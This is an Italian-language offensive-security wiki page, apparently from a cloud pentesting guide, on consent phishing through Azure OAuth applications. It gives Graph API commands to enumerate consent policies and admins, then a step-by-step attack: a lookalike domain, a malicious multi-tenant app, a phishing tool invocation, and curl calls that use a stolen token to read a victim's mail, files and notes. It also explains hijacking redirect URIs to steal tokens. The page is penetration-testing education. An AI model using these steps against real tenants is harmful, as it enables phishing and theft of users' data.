Az - OAuth Apps Phishing

Reading time: 8 minutes

OAuth App Phishing

Le applicazioni Azure sono configurate con i permessi che potranno utilizzare quando un utente acconsente all'applicazione (come enumerare la directory, accedere ai file o eseguire altre azioni). Nota che l'applicazione agirà per conto dell'utente, quindi anche se l'app potrebbe richiedere permessi di amministrazione, se l'utente che acconsente non ha quel permesso, l'app non sarà in grado di eseguire azioni amministrative.

Permessi di consenso dell'app

Per impostazione predefinita, qualsiasi utente può dare consenso alle app, anche se questo può essere configurato in modo che gli utenti possano acconsentire solo a app di editori verificati per permessi selezionati o addirittura rimuovere il permesso per gli utenti di acconsentire alle applicazioni.

Se gli utenti non possono acconsentire, gli admin come GA, Application Administrator o Cloud Application Administrator possono consentire le applicazioni che gli utenti potranno utilizzare.

Inoltre, se gli utenti possono acconsentire solo a app che utilizzano permessi a basso rischio, questi permessi sono per impostazione predefinita openid, profile, email, User.Read e offline_access, anche se è possibile aggiungere di più a questo elenco.

E se possono acconsentire a tutte le app, possono acconsentire a tutte le app.

2 Tipi di attacchi

• Non autenticato: Da un account esterno crea un'applicazione con i permessi a basso rischio User.Read e User.ReadBasic.All, ad esempio, phishing di un utente, e sarai in grado di accedere alle informazioni della directory.
• Questo richiede che l'utente vittima sia in grado di accettare app OAuth da tenant esterni
• Se l'utente vittima è un admin che può consentire qualsiasi app con qualsiasi permesso, l'applicazione potrebbe anche richiedere permessi privilegiati
• Autenticato: Dopo aver compromesso un principale con privilegi sufficienti, crea un'applicazione all'interno dell'account e phishing di un utente privilegiato che può accettare permessi OAuth privilegiati.
• In questo caso puoi già accedere alle informazioni della directory, quindi il permesso User.ReadBasic.All non è più interessante.
• Probabilmente sei interessato a permessi che richiedono un admin per concederli, perché un utente normale non può dare alcun permesso alle app OAuth, ecco perché devi phishing solo quegli utenti (più avanti parleremo di quali ruoli/permessi concedono questo privilegio)

Gli utenti possono dare consenso

Nota che devi eseguire questo comando da un utente all'interno del tenant, non puoi trovare questa configurazione di un tenant da uno esterno. Il seguente cli può aiutarti a comprendere i permessi degli utenti:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"

• Gli utenti possono acconsentire a tutte le app: Se all'interno di permissionGrantPoliciesAssigned puoi trovare: ManagePermissionGrantsForSelf.microsoft-user-default-legacy allora gli utenti possono accettare ogni applicazione.
• Gli utenti possono acconsentire a app di editori verificati o della tua organizzazione, ma solo per le autorizzazioni che selezioni: Se all'interno di permissionGrantPoliciesAssigned puoi trovare: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team allora gli utenti possono accettare ogni applicazione.
• Disabilita il consenso degli utenti: Se all'interno di permissionGrantPoliciesAssigned puoi trovare solo: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat e ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team allora gli utenti non possono acconsentire a nulla.

È possibile trovare il significato di ciascuna delle politiche commentate in:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Amministratori dell'Applicazione

Controlla gli utenti che sono considerati amministratori dell'applicazione (possono accettare nuove applicazioni):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Panoramica del Flusso di Attacco

L'attacco coinvolge diversi passaggi mirati a una azienda generica. Ecco come potrebbe svolgersi:

1. Registrazione del Dominio e Hosting dell'Applicazione: L'attaccante registra un dominio che somiglia a un sito affidabile, ad esempio, "safedomainlogin.com". Sotto questo dominio, viene creato un sottodominio (ad es., "companyname.safedomainlogin.com") per ospitare un'applicazione progettata per catturare codici di autorizzazione e richiedere token di accesso.
2. Registrazione dell'Applicazione in Azure AD: L'attaccante registra quindi un'Applicazione Multi-Tenant nel proprio Tenant di Azure AD, chiamandola con il nome dell'azienda target per apparire legittima. Configura l'URL di Redirect dell'applicazione per puntare al sottodominio che ospita l'applicazione malevola.
3. Impostazione dei Permessi: L'attaccante imposta l'applicazione con vari permessi API (ad es., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Questi permessi, una volta concessi dall'utente, consentono all'attaccante di estrarre informazioni sensibili per conto dell'utente.
4. Distribuzione di Link Malevoli: L'attaccante crea un link contenente l'ID client dell'applicazione malevola e lo condivide con gli utenti target, ingannandoli per concedere il consenso.

Esempio di Attacco

1. Registrare una nuova applicazione. Può essere solo per la directory corrente se si utilizza un utente della directory attaccata o per qualsiasi directory se si tratta di un attacco esterno (come nell'immagine seguente).
2. Impostare anche l'URI di reindirizzamento all'URL previsto dove si desidera ricevere il codice per ottenere i token (http://localhost:8000/callback per impostazione predefinita).

2. Quindi creare un segreto dell'applicazione:

3. Selezionare i permessi API (ad es. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)

4. Eseguire la pagina web (azure_oauth_phishing_example) che richiede i permessi:

# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"

5. Invia l'URL alla vittima
6. In questo caso http://localhost:8000
7. Le vittime devono accettare il prompt:

7. Usa il token di accesso per accedere ai permessi richiesti:

export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Altri Strumenti

• 365-Stealer: Controlla https://www.alteredsecurity.com/post/introduction-to-365-stealer per imparare come configurarlo.
• O365-Attack-Toolkit

Post-Exploitation

Phishing Post-Exploitation

A seconda delle autorizzazioni richieste, potresti essere in grado di accedere a diversi dati del tenant (elenco utenti, gruppi... o persino modificare impostazioni) e informazioni dell'utente (file, note, email...). Poi, puoi utilizzare queste autorizzazioni per eseguire tali azioni.

Amministratore delle Applicazioni Entra ID

Se sei riuscito a compromettere in qualche modo un'entità Entra ID che può gestire le Applicazioni in Entra ID, e ci sono applicazioni utilizzate dagli utenti del tenant. Un amministratore sarebbe in grado di modificare le autorizzazioni richieste dall'app e aggiungere un nuovo indirizzo di reindirizzamento consentito per rubare i token.

• Nota che è possibile aggiungere URI di reindirizzamento (non è necessario eliminare quello reale) e poi inviare un link HTTP utilizzando l'URI di reindirizzamento dell'attaccante, così quando l'utente segue il link l'autenticazione avviene automaticamente e l'attaccante riceve il token.
• È anche possibile cambiare le autorizzazioni richieste dall'app per ottenere più autorizzazioni dagli utenti, ma in quel caso l'utente dovrà accettare di nuovo il prompt (anche se era già connesso).
• Per eseguire questo attacco l'attaccante NON HA BISOGNO di controllare il codice dell'applicazione poiché potrebbe semplicemente inviare il link per accedere all'app all'utente con il nuovo URL nel parametro redirect_uri.

Post Exploitation dell'Applicazione

Controlla le sezioni Applicazioni e Principale di Servizio della pagina:

Az - EntraID Privesc

Riferimenti

• https://www.alteredsecurity.com/post/introduction-to-365-stealer
• https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/